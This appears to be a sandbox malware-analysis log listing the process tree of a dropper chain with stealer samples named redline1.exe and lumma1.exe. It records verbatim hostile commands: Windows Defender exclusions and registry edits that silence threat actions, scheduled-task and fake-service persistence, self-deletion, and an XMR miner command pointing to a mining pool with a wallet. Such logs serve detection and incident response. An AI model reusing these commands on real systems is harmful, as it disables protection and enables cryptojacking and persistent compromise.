PID 1904 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
PID 1904 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
PID 1904 wrote to memory of 952 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
PID 1904 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
PID 1904 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
PID 1904 wrote to memory of 2468 N/A C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
PID 2468 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2468 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2468 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2900 wrote to memory of 3520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 3520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 3520 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2900 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2900 wrote to memory of 2792 N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\GameSyncLink\GameService.exe
PID 2900 wrote to memory of 532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\sc.exe
PID 2900 wrote to memory of 4984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2900 wrote to memory of 4984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2900 wrote to memory of 4984 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe

"C:\Users\Admin\AppData\Local\Temp\71bb87a3b9150e8951eab42f842a784a8cbb6c6f4556d44d3f814f47dc584d94.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

"C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\amers.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

"C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"

C:\Users\Admin\1000006002\e95da54c34.exe

"C:\Users\Admin\1000006002\e95da54c34.exe"

C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe

"C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5000 -ip 5000

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 5000 -s 336

C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"

C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe

"C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe

"C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"

C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe

"C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "

C:\Windows\SysWOW64\sc.exe

Sc stop GameServerClient

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService remove GameServerClient confirm

C:\Windows\SysWOW64\sc.exe

Sc delete GameSyncLink

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService remove GameSyncLink confirm

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService start GameSyncLink

C:\Program Files (x86)\GameSyncLink\GameService.exe

"C:\Program Files (x86)\GameSyncLink\GameService.exe"

C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe

"C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"

C:\Windows\Temp\225297.exe

"C:\Windows\Temp\225297.exe" --list-devices

C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe

"C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe

"C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "

C:\Windows\SysWOW64\sc.exe

Sc stop GameServerClientC

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService remove GameServerClientC confirm

C:\Windows\SysWOW64\sc.exe

Sc delete PiercingNetLink

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService remove PiercingNetLink confirm

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService start PiercingNetLink

C:\Program Files (x86)\GameSyncLink\GameService.exe

"C:\Program Files (x86)\GameSyncLink\GameService.exe"

C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe

"C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "

C:\Windows\SysWOW64\sc.exe

Sc delete GameSyncLinks

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService remove GameSyncLinks confirm

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"

C:\Program Files (x86)\GameSyncLink\GameService.exe

GameService start GameSyncLinks

C:\Program Files (x86)\GameSyncLink\GameService.exe

"C:\Program Files (x86)\GameSyncLink\GameService.exe"

C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe

"C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"

C:\Windows\Temp\7982.exe

"C:\Windows\Temp\7982.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x

C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe

"C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe"

C:\Windows\system32\BackgroundTransferHost.exe

"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe

"C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F

C:\Users\Admin\Pictures\t7prm18jQTs3cc7zkiQLlXXn.exe

"C:\Users\Admin\Pictures\t7prm18jQTs3cc7zkiQLlXXn.exe"

C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe

"C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"

C:\Users\Admin\Pictures\x5n7P0V3qKCdHsbNe8ZroJUB.exe

"C:\Users\Admin\Pictures\x5n7P0V3qKCdHsbNe8ZroJUB.exe"

C:\Users\Admin\Pictures\Rz8usfArViepYNJ33jqWETHR.exe

"C:\Users\Admin\Pictures\Rz8usfArViepYNJ33jqWETHR.exe"

C:\Users\Admin\Pictures\ZgMtLhDASgutP5MnprrMoidt.exe

"C:\Users\Admin\Pictures\ZgMtLhDASgutP5MnprrMoidt.exe"

C:\Users\Admin\Pictures\4hirPSCMxauS34Er2z2RYbp8.exe

"C:\Users\Admin\Pictures\4hirPSCMxauS34Er2z2RYbp8.exe" /s

C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe

"C:\Users\Admin\AppData\Local\Temp\1000256001\4767d2e713f2021e8fe856e3ea638b58.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'

C:\Users\Admin\Pictures\PI1w3kDrmec7a797mcmo3W0a.exe

"C:\Users\Admin\Pictures\PI1w3kDrmec7a797mcmo3W0a.exe"

C:\Users\Admin\AppData\Local\Temp\7zS360F.tmp\Install.exe

.\Install.exe /tEdidDDf "385118" /S

C:\Users\Admin\Pictures\3UHiuZ3I73HajXAR0Q7SXrr9.exe

"C:\Users\Admin\Pictures\3UHiuZ3I73HajXAR0Q7SXrr9.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe

.\Install.exe /tEdidDDf "385118" /S

C:\Users\Admin\Pictures\IFvnyBiyRnjO3x2lTaAhyhSr.exe

"C:\Users\Admin\Pictures\IFvnyBiyRnjO3x2lTaAhyhSr.exe"

C:\Users\Admin\Pictures\CY75NWaZASW3kGv6xw5GJFq8.exe

"C:\Users\Admin\Pictures\CY75NWaZASW3kGv6xw5GJFq8.exe"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Users\Admin\Pictures\360TS_Setup.exe

"C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Program Files (x86)\1715610219_0\360TS_Setup.exe

"C:\Program Files (x86)\1715610219_0\360TS_Setup.exe" /c:WW.Declan.CPI202403 /pmode:2 /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /s /TSinstall

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 14:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe\" it /SHUdidaiur 385118 /S" /V1 /F

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 14:24:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS360F.tmp\Install.exe\" it /IsLdidpRsQ 385118 /S" /V1 /F

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\Wbem\WMIC.exe

"C:\Windows\System32\Wbem\WMIC.exe" "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ

C:\Windows\SysWOW64\cmd.exe

/C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ

\??\c:\windows\SysWOW64\schtasks.exe

schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe it /SHUdidaiur 385118 /S

C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS3BDB.tmp\Install.exe it /SHUdidaiur 385118 /S

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\cmd.exe

/C powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell start-process -WindowStyle Hidden gpupdate.exe /force

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\taskmgr.exe'

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"

C:\Windows\SysWOW64\cmd.exe

/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6

\??\c:\windows\SysWOW64\reg.exe

